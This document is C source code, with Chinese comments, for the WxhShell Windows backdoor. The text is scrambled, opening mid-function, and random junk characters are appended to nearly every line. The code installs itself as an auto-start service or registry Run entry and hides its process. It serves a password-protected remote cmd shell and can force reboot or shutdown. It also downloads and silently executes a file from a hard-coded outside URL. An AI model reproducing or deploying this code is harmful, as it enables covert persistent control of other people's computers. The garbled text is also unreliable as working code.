    if(Boot(SHUTDOWN)) MtwlZg`c3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :@5{*o  
    else { WL(Y1>|j  
    closesocket(wsh); <o9i;[+H-  
    ExitThread(0); tJ_Y6oFm=  
    } f?ycZ  
    break; @H$8;CRM  
    } J0vQqTaT  
  // 获取shell P(yLRc  
  case 's': { Wgs6}1b g  
    CmdShell(wsh); sMAj?]hI$  
    closesocket(wsh); Q7e4MKy7  
    ExitThread(0); iz;5:  
    break; /JRZ?/<1  
  } |%5pzYe  
  // 退出 ysi=}+F.  
  case 'x': { s]e `q4ip  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tq,^!RSbZ  
    CloseIt(wsh); yp4[EqME  
    break; p& $PsgR  
    } Ohgu*5!o  
  // 离开 oMemF3M  
  case 'q': { UhDf6A`]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l?IeZisX  
    closesocket(wsh); 94O\M RQ*  
    WSACleanup(); ]#DCO8Vk  
    exit(1); u(yN81  
    break; Ohj^Z&j  
        } b00$3,L   
  } EdqB4-#7  
  } _t"[p_llo  
A`M-N<T  
  // 提示信息 :FU?vh$)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @i> r(X  
} Z3MhHvvgp{  
  } F5+F O^3E  
D^h! ].3 T  
  return; gnzg(Y]5w  
} WJ-.?   
AvZ5?rN$  
// shell模块句柄 Zgp9Uu}"  
int CmdShell(SOCKET sock) a_/4^+  
{ doTbol?+  
STARTUPINFO si; 7xB]Z;:  
ZeroMemory(&si,sizeof(si)); >Vx_Xv`Jwb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]v5/K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )uAY_()/  
PROCESS_INFORMATION ProcessInfo; DazoY&AWE  
char cmdline[]="cmd"; X0+E!~X$zM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XPf{R619  
  return 0; bBc<p{  
} KF(y`(8f  
x0%m}P/  
// 自身启动模式 @1xVWSF  
int StartFromService(void) #%ld~dgz-  
{ C7R3W,  
typedef struct I6;6x  
{ NAtDt=  
  DWORD ExitStatus; ID`C  
  DWORD PebBaseAddress; fBZLWfp9  
  DWORD AffinityMask; )N~ p4kp  
  DWORD BasePriority; j 7:r8? G  
  ULONG UniqueProcessId; \z2y?"\?  
  ULONG InheritedFromUniqueProcessId; I+twI&GS  
}   PROCESS_BASIC_INFORMATION; LHx ")H?,  
6q'Q ?Uw^  
PROCNTQSIP NtQueryInformationProcess; ,6MJW#~]  
Hmm0H6&u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `peR,E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0+qC_ISns  
o:cTc:l)  
  HANDLE             hProcess; @,= pG  
  PROCESS_BASIC_INFORMATION pbi; ,J+L_S+B~  
{T^D&i# o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bJ 6ivz  
  if(NULL == hInst ) return 0; 6&'kN 2  
wXp:XZ:]T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QsxvA;7%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?[bE/Ya+S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2V% z=  
&d6ud |  
  if (!NtQueryInformationProcess) return 0; c\>I0HH;!  
Z2g<"M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {Mb<on W  
  if(!hProcess) return 0; $X-PjQb1Bb  
&R.5t/x_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ORP<?SG55u  
G na%|tUz|  
  CloseHandle(hProcess); W;R6+@I[  
'{~[e**  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  WvF{`N  
if(hProcess==NULL) return 0; Q\IViM  
;*zLf 9i  
HMODULE hMod; Hc<@T_h+2  
char procName[255]; Q3=5q w^  
unsigned long cbNeeded; y2?9pVLa\y  
1k:yU(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'l!\2Wv2  
l,Y5VGiH#  
  CloseHandle(hProcess); Wk3-J&QbS  
2brY\c F  
if(strstr(procName,"services")) return 1; // 以服务启动 r{d@74  
CeOA_M  
  return 0; // 注册表启动 S9$,.aq  
} MUZ]*n&0  
WzR)R9x]  
// 主模块 ^J-Xy\ X  
int StartWxhshell(LPSTR lpCmdLine) \$4z@`nY  
{ #l&*&R~>  
  SOCKET wsl; oI`Mn3N  
BOOL val=TRUE; 1;kMbl]  
  int port=0; 8;"%x|iBoL  
  struct sockaddr_in door; g8'8"9:xC  
"]p&7  
  if(wscfg.ws_autoins) Install(); DFZ@q=ZT  
b@4UR<  
port=atoi(lpCmdLine); !D{z. KO  
}m?Ut|  
if(port<=0) port=wscfg.ws_port; ^|vk^`S  
iJ*Wsp  
  WSADATA data; a]P%Y.? r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $$0 < &  
DC> R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RJ0,7 E<B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yz[Rl ^  
  door.sin_family = AF_INET; 60%fva  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i83Jy w,f  
  door.sin_port = htons(port); N lm}'Xt  
H'k~;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Jpp-3i.F#  
closesocket(wsl); '>1M~B  
return 1; D2D+S  
} MD1X1,fk  
K\B!tk  
  if(listen(wsl,2) == INVALID_SOCKET) { &@|? %  
closesocket(wsl); paN=I=:*M  
return 1; &-^*D%9  
} euT=]j  
  Wxhshell(wsl); ?(B}w*G~  
  WSACleanup(); 7z,  $  
OA9 P"*  
return 0; 91&=UUkK?  
MTl @#M  
} gzVZPvTPE  
(O09HY:  
// 以NT服务方式启动 kzUj)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oz_CEMcy  
{ 3;}YW^oXq  
DWORD   status = 0; q3/4l%"X  
  DWORD   specificError = 0xfffffff; yr>J^Et%_  
p}!)4EI=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O\;Lb[`lb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3HP { a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H@zv-{}T8  
  serviceStatus.dwWin32ExitCode     = 0; (ESFR0  
  serviceStatus.dwServiceSpecificExitCode = 0; avG#0AY  
  serviceStatus.dwCheckPoint       = 0; r^"sZk#  
  serviceStatus.dwWaitHint       = 0; fM]nP4K`  
G='`*_$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `l?MmIJ  
  if (hServiceStatusHandle==0) return; e'G3\h}#  
I;_T_m4.q  
status = GetLastError(); \j)c?1*$  
  if (status!=NO_ERROR) RYC%;h  
{ Ym ]g0a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &e).l<B  
    serviceStatus.dwCheckPoint       = 0; buzpmRoN)  
    serviceStatus.dwWaitHint       = 0; W"#<r  
    serviceStatus.dwWin32ExitCode     = status; RB""(<  
    serviceStatus.dwServiceSpecificExitCode = specificError; <T.R%Jys  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <)O#Y76s  
    return; q\!"FDOl4  
  } n@bkZ/G  
+J|LfXgB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5"U5^6:T  
  serviceStatus.dwCheckPoint       = 0; 5M)B  
  serviceStatus.dwWaitHint       = 0; {*CG&-k2D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BBX/&d8n  
} "tk1W>liIN  
U$a)lcJd  
// 处理NT服务事件,比如:启动、停止 ';v2ld 9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cJwe4c6.m  
{ I hSXU<]  
switch(fdwControl) PPpaH!(D  
{ k"BM1-f  
case SERVICE_CONTROL_STOP: zTG1 0  
  serviceStatus.dwWin32ExitCode = 0; +YCWoX 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G5 )"%G.  
  serviceStatus.dwCheckPoint   = 0; "k [$euV  
  serviceStatus.dwWaitHint     = 0; Wx;%W"a  
  { UDcr5u eKn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IWN18aaL?  
  } K|~ !oQ  
  return; ' t(#HBU  
case SERVICE_CONTROL_PAUSE: Oa@SyroF=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mpDxJk!   
  break; 8?EKF+.u|  
case SERVICE_CONTROL_CONTINUE: ~]W @+\l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 066\zAPdH  
  break; d@Bd*iI<  
case SERVICE_CONTROL_INTERROGATE: F)'_,.?0  
  break; Bgsi$2hI  
}; }L{GwiDMDl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =.m/ X>  
} 1dp8'f5^  
PDgZb  
// 标准应用程序主函数 O6-';H:I]L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9ucoQ@  
{ $V<fJpA  
`N}'5{I  
// 获取操作系统版本 #>5T,[{?j  
OsIsNt=GetOsVer(); 4_CXs.v1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UY.o,I> s  
@1pfH\m  
  // 从命令行安装 KV{  
  if(strpbrk(lpCmdLine,"iI")) Install(); #f=41d%  
ZL!5dT&@W  
  // 下载执行文件 ~^ '+ .  
if(wscfg.ws_downexe) { !]7L9TGn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3dtL[aVwY  
  WinExec(wscfg.ws_filenam,SW_HIDE); @WKJ7pt`'N  
} 3<a|_(K  
fx^yC.$2  
if(!OsIsNt) { l0',B*og  
// 如果时win9x,隐藏进程并且设置为注册表启动 %3HF_DNOY=  
HideProc(); $Zrc-tkV  
StartWxhshell(lpCmdLine); YO@~y *,  
} J<cY'?D  
else .k!2{A  
  if(StartFromService()) G [yI[7=d  
  // 以服务方式启动 sC :.}6  
  StartServiceCtrlDispatcher(DispatchTable); KmD#Ia  
else 9I1`*0A  
  // 普通方式启动 j{ri]?p  
  StartWxhshell(lpCmdLine); KAr5>^<zw  
6TQ[2%X'  
return 0; vsq |m 5  
} [NGq$5  
jR3mV  
NPE 4@c_a@  
e]:(.Wb- 9  
=========================================== A4L.bBl  
eM7 F8j  
-7I %^u  
6LT.ng  
bSTTr<W  
\/m-G:|  
" j3 @Q  
3?&P^{  
#include <stdio.h> W{}M${6&  
#include <string.h> H,!yG5yF  
#include <windows.h> K1- 3!G  
#include <winsock2.h> sa"!ckh  
#include <winsvc.h> Ob|tA  
#include <urlmon.h> xCu\jc)2  
~!Rf5QA85  
#pragma comment (lib, "Ws2_32.lib") b|.<rV'BTt  
#pragma comment (lib, "urlmon.lib") vcOw`oS  
/5f=a  
#define MAX_USER   100 // 最大客户端连接数 cdL0<J b,  
#define BUF_SOCK   200 // sock buffer P$/Y9o  
#define KEY_BUFF   255 // 输入 buffer \&v)#w  
"t>H B6^  
#define REBOOT     0   // 重启 #Y'ub 5s  
#define SHUTDOWN   1   // 关机 d&DQ8Gm ^  
Hv =7+O$  
#define DEF_PORT   5000 // 监听端口 /XuOv(j  
|A)a ='Ap  
#define REG_LEN     16   // 注册表键长度 ~\O,#j`_  
#define SVC_LEN     80   // NT服务名长度 HNX/#?3  
$|19]3T@Z  
// 从dll定义API 3HndE~_C&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -ozcK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t0ZaIE   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WsmP]i^Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8/|1FI  
R8j\CiV17  
// wxhshell配置信息 +DSZ(Zb4qY  
struct WSCFG { pf&SIG  
  int ws_port;         // 监听端口 xwijCFI*  
  char ws_passstr[REG_LEN]; // 口令 '^:q|h  
  int ws_autoins;       // 安装标记, 1=yes 0=no [5P1 pkZ  
  char ws_regname[REG_LEN]; // 注册表键名 &:=[\Ws R  
  char ws_svcname[REG_LEN]; // 服务名 V:8{MO(C\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C^ ~[b o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2cv=7!K4Uv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )aX#RM? N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @Wzr rCpj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  pm*i!3g'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H<3a yp$  
TzV~I\a|  
}; :1!k*5  
Vf$q3X  
// default Wxhshell configuration "Qe2U(Un  
struct WSCFG wscfg={DEF_PORT, [g lhru=+  
    "xuhuanlingzhe", 3=^B &AB  
    1, v *@R U  
    "Wxhshell", 6"o@d8>v  
    "Wxhshell", )!l1   
            "WxhShell Service", ]~'pYOB  
    "Wrsky Windows CmdShell Service", -$f$z(h  
    "Please Input Your Password: ", G>+iisb%  
  1, J~5+=V7OV  
  "http://www.wrsky.com/wxhshell.exe", | +aD%'|  
  "Wxhshell.exe" w `>g^_xsg  
    }; S\A9r!2  
JjBlje  
// 消息定义模块 212  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YM +4:P2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D^H4]7wG@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SrvC34<7  
char *msg_ws_ext="\n\rExit."; ia%U;M  
char *msg_ws_end="\n\rQuit."; '# J/e0o@  
char *msg_ws_boot="\n\rReboot..."; b5UIX Kim  
char *msg_ws_poff="\n\rShutdown..."; g;</|Z  
char *msg_ws_down="\n\rSave to "; pIvr*UzY  
{9h`h08?z  
char *msg_ws_err="\n\rErr!"; RV6|sN[x>  
char *msg_ws_ok="\n\rOK!"; yJHFo[wGMJ  
(!diPwcv  
char ExeFile[MAX_PATH]; D~f[Rg  
int nUser = 0; -Rr Qv(  
HANDLE handles[MAX_USER]; h_xzqElZu  
int OsIsNt; FmtV[C #  
(L7%V !  
SERVICE_STATUS       serviceStatus; M}!E :bv'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S>EO6z#   
,) 3Eog\-  
// 函数声明 0d #jiG  
int Install(void); EceD\}  
int Uninstall(void); YR0.m%U,  
int DownloadFile(char *sURL, SOCKET wsh); x`zE#sD  
int Boot(int flag); kwpbgQ  
void HideProc(void); G/_9!lE  
int GetOsVer(void); SHUn<+/e  
int Wxhshell(SOCKET wsl); jRSY`MU}t+  
void TalkWithClient(void *cs); JO|xX<#:  
int CmdShell(SOCKET sock); %`^{Hh`  
int StartFromService(void); sj%\lq  
int StartWxhshell(LPSTR lpCmdLine); hXP'NS`iv  
M[5fNK&nD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E>x,$w<?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &v&e- |r8;  
P&9&/0r=_  
// 数据结构和表定义 k(3FT%p  
SERVICE_TABLE_ENTRY DispatchTable[] = sKGR28e  
{ ;cW9NS3:  
{wscfg.ws_svcname, NTServiceMain}, q-d#bKIf  
{NULL, NULL} {s~t>Rp+  
}; r>7Dg~)V  
"P8cgj C  
// 自我安装 ]dQ  
int Install(void) bxF'`^En  
{ [X'u={  
  char svExeFile[MAX_PATH]; {{e+t8J??  
  HKEY key; \={A%pA;@{  
  strcpy(svExeFile,ExeFile); U jB5Xks  
ZD`0(CkXb  
// 如果是win9x系统,修改注册表设为自启动 0^zp*u  
if(!OsIsNt) { G}gmkp]z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H!uq5` j0K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kZHIzU  
  RegCloseKey(key); Nmu=p~f}3`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,~qjL|9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tJZ3P@ L  
  RegCloseKey(key); g7<u eF  
  return 0; #(Ezt% ^  
    } {&s.*5  
  } 5SwQ9#  
} DeR C_ [  
else { -!pg1w06  
];au! _o  
// 如果是NT以上系统,安装为系统服务 ?<eH!MHF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tq!.M1{&  
if (schSCManager!=0) J={IGA  
{ 3q:>NB<  
  SC_HANDLE schService = CreateService Bq#B+JwX  
  ( K._* ~-A  
  schSCManager, gqQ"'SRw  
  wscfg.ws_svcname, lc\f6J>HT  
  wscfg.ws_svcdisp, nM6/c  
  SERVICE_ALL_ACCESS, ;\)N7SJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !d3:`l<  
  SERVICE_AUTO_START, p+O,C{^f  
  SERVICE_ERROR_NORMAL, #tQ__ V   
  svExeFile, `{W>Dy  
  NULL, R}Z2rbt  
  NULL, |;(0]  
  NULL, 6`sS8Ar&u  
  NULL, ?cD2EX%(  
  NULL >p@v'h/Cr  
  ); \}+b_J6-  
  if (schService!=0) zkmfu~_)  
  { I 7s}{pG  
  CloseServiceHandle(schService); t{Xf3.  
  CloseServiceHandle(schSCManager); g~Agy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,)7y? *D}  
  strcat(svExeFile,wscfg.ws_svcname); C9%2}E3Z$)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P`!31P#]L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kC4}@{4i  
  RegCloseKey(key); m #}%l3$  
  return 0; 0X[uXf  
    } s2Hx ?~  
  } 6F4OISy%3  
  CloseServiceHandle(schSCManager); $kCLS7 *  
} [ nG@ 3n  
} %SlF7$  
B_#U|10et  
return 1; c6f[^Q%#j  
} "`8~qZ7k  
ju{\7X5  
// 自我卸载 }KCb5_MDF  
int Uninstall(void) 3lD1G~  
{ |\_d^U &`  
  HKEY key; fPu,@ L  
^TCgSi7k`L  
if(!OsIsNt) { qJPEq%'Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w.6Gp;O  
  RegDeleteValue(key,wscfg.ws_regname); %q)*8  
  RegCloseKey(key); QpC,komLJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .cA'6J"Bm\  
  RegDeleteValue(key,wscfg.ws_regname); :bV1M5  
  RegCloseKey(key); G tSvb6UNn  
  return 0; >xJh!w<pB  
  } w,v~  
} etkKVr;Kv  
} +1Ua`3dWN_  
else { -P'KpX:]hd  
i#W0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'k(aZ"  
if (schSCManager!=0) UpIt"+d2&  
{ yCLDJ%8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |#_`aT"  
  if (schService!=0) /agX! E4s  
  { l!^+Xeg~  
  if(DeleteService(schService)!=0) { H|i39XV  
  CloseServiceHandle(schService); J_ S]jE{  
  CloseServiceHandle(schSCManager); ?,0 5!]  
  return 0; I!OV+utF  
  } OD\F*Ry~  
  CloseServiceHandle(schService); SByn u  
  } xU_Dg56z'&  
  CloseServiceHandle(schSCManager); 3iC$ "9!p  
} $X%'je  
} (#`1[n+b`x  
v?en-,{A  
return 1; #\X="' /  
} Yl!~w:O!o  
-p\uW 0XA  
// 从指定url下载文件 N! N>/9  
int DownloadFile(char *sURL, SOCKET wsh) G(6MLh1  
{ vPbmQh ex  
  HRESULT hr; 3 2MdDa  
char seps[]= "/"; Fv(1A_~IS  
char *token; vq&u19iP  
char *file; rp^G k  
char myURL[MAX_PATH]; <>tQa5;  
char myFILE[MAX_PATH]; \uT y\KA  
4Cl41a  
strcpy(myURL,sURL); ~gA p`Q  
  token=strtok(myURL,seps); ;mw$(ZKa#  
  while(token!=NULL) _K5R?"H0  
  { <5wk~|@t  
    file=token; <B %s9Zy  
  token=strtok(NULL,seps); =Pu;wx9  
  } sa26u`?  
4Y#F"+m.]  
GetCurrentDirectory(MAX_PATH,myFILE); 50l! f7  
strcat(myFILE, "\\"); m5/d=k0l  
strcat(myFILE, file); B"rfR_B2M#  
  send(wsh,myFILE,strlen(myFILE),0); f8c'`$O  
send(wsh,"...",3,0); _R 6+bB$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6bXR?0$*M.  
  if(hr==S_OK) ToVi;  
return 0; ;&N=t64"  
else vL,:Yn@b  
return 1; WFTXSHcG  
yaD_c;  
} X/l{E4Ex  
[G/ti&Od^  
// 系统电源模块 XzBnj7E  
int Boot(int flag) ,4&?`Q  
{ <@puWm[p  
  HANDLE hToken; >m-VBo  
  TOKEN_PRIVILEGES tkp; {hmC=j  
[_pw|BGp  
  if(OsIsNt) { L~u@n24  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L~PBD?l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j~Cch%%G  
    tkp.PrivilegeCount = 1; qQ%RnD9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (-:lO{@FsC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D; bHX  
if(flag==REBOOT) { (v'#~)R_`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pzl2X@{%  
  return 0; sD!)=t_  
} e M$NVpS3  
else { xR`W9Z5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v3ky;~ke  
  return 0; OdrnPo{  
} ;`f14Fb  
  } i6Kcj  
  else { \=yWJ  
if(flag==REBOOT) { =5v=<, ]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) */7+pk(  
  return 0; Tt.#O~2:9  
} {Hu@|Q\ ~&  
else { <V~B8C!)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oY K(=j  
  return 0; 'Cv>V"X: `  
} Uf ?._&:  
} 9 Y-y?Y  
J:!m49fF  
return 1; Hv~& RZpe  
} dN%*-p(  
Fzc8)*w  
// win9x进程隐藏模块 8`{)1.d5[  
void HideProc(void) (1pR=  
{ m'b9 f6  
MN.h,^b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7%Q?BH7{  
  if ( hKernel != NULL ) ,_$}>MY;  
  {  4.7 PL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y_7lSo8<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 26&$vgO~:  
    FreeLibrary(hKernel); oE H""Bd  
  } 9[5qN!P;y  
}^@Q9<P^E  
return; iaAj|:  
} IOjp'6Yr  
5x=aJl;G  
// 获取操作系统版本 y$Rr,]L  
int GetOsVer(void) VPh0{(O^=  
{ /~O>He  
  OSVERSIONINFO winfo; j^V r!y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @X?7a]+;8  
  GetVersionEx(&winfo); x/B1\U I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UK7pQt}9  
  return 1; p" ;5J+?(  
  else 'BiR ,M$mY  
  return 0; 4*D'zJsJ  
} r+D ?_Lk  
<Pm!#)-g9  
// 客户端句柄模块 b:M1P&R  
int Wxhshell(SOCKET wsl) 5p}ri,Y<  
{ 0{q>'dv  
  SOCKET wsh; ,dR<O.{ 0  
  struct sockaddr_in client; NR6wNz&81  
  DWORD myID; +&*D7A>~p  
ILU7Yhk  
  while(nUser<MAX_USER) Tx19\\r  
{ 9Ev<t \B  
  int nSize=sizeof(client); 5Qh$>R4!"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VK]cZ%)  
  if(wsh==INVALID_SOCKET) return 1; ~\oF}7l$  
p|gzU$FWbk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :Rftn6!  
if(handles[nUser]==0) cS2PrsUx  
  closesocket(wsh); ;J>upI   
else -91*VBrOd  
  nUser++; yd|roG/  
  } Km)VOX[ZZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);   L* 0$x  
a7fFp 9l!  
  return 0; @,:6wKMc  
} \`:nmFO(9  
lM |}K-2  
// 关闭 socket @fc-[pv  
void CloseIt(SOCKET wsh) \}n\cUy-  
{ g!\H^d4  
closesocket(wsh); 28! ke  
nUser--; "M !]t,?S  
ExitThread(0); =] +owl2  
} N8E  
v:1DNR4  
// 客户端请求句柄 ]wZlJK`K  
void TalkWithClient(void *cs) (6crWw{3  
{ #>ob1b|  
w:VD[\h  
  SOCKET wsh=(SOCKET)cs; +L,V_z  
  char pwd[SVC_LEN]; +7KRoF|  
  char cmd[KEY_BUFF]; * @=ZzL  
char chr[1]; x##0s5Qn  
int i,j; Uk'bOp  
1s_N!a  
  while (nUser < MAX_USER) { Vm*E^ v  
>lV'}0u)  
if(wscfg.ws_passstr) { ib\_MNIb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tfz _h~D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &|K9qa~)Y  
  //ZeroMemory(pwd,KEY_BUFF); Tpd|+60g  
      i=0; z}a9%Fb  
  while(i<SVC_LEN) { fjd)/Gg  
}ip3dm  
  // 设置超时 rk-GQ#SKU  
  fd_set FdRead; fpa ~~E-  
  struct timeval TimeOut; :OFs" bC  
  FD_ZERO(&FdRead); FTQNS8  
  FD_SET(wsh,&FdRead); mz|p=[lR|  
  TimeOut.tv_sec=8; j>`-BN_  
  TimeOut.tv_usec=0; |pG%]?A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .nzN5FB U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G`Df'Yy  
srQGqE~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %xv*#.<Vj  
  pwd=chr[0]; eev-";c  
  if(chr[0]==0xd || chr[0]==0xa) { B2,c_[UZ.  
  pwd=0; )kT.3 Q  
  break; {ldt/dl~  
  } bP Q=88*  
  i++; 6E#znRi6IE  
    } ^~;"$=Wf  
7|PB6h3  
  // 如果是非法用户,关闭 socket Ii&\LJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z0[d;m*  
} ]Zz.n5c  
ueyQ&+6r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2}n7f7[/b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , .E>  
E 1`TQA  
while(1) { :>y;*x0w  
RKPX*(i~  
  ZeroMemory(cmd,KEY_BUFF); pft-.1py  
t$e'[;w  
      // 自动支持客户端 telnet标准   +# 3e<+!F  
  j=0; '.wb= C  
  while(j<KEY_BUFF) { q-s(2C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `=$p!H8  
  cmd[j]=chr[0]; FuM:~jv  
  if(chr[0]==0xa || chr[0]==0xd) { KL yI*`  
  cmd[j]=0; Fs3 :NH  
  break; w>o/)TTJL  
  } G*f\ /  
  j++; +Qf<*  
    } 2FcNzAaV  
brX[-  
  // 下载文件 bC /Ql  
  if(strstr(cmd,"http://")) { 7$*X   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MD^,"!A  
  if(DownloadFile(cmd,wsh)) j5wfqi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N8iLI`  
  else _G&gF .|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PIAE6,*  
  } u M\5GK  
  else { :(\JY?+w   
?N(<w?Gat  
    switch(cmd[0]) { .1}1e;f-  
  84!Hd.H  
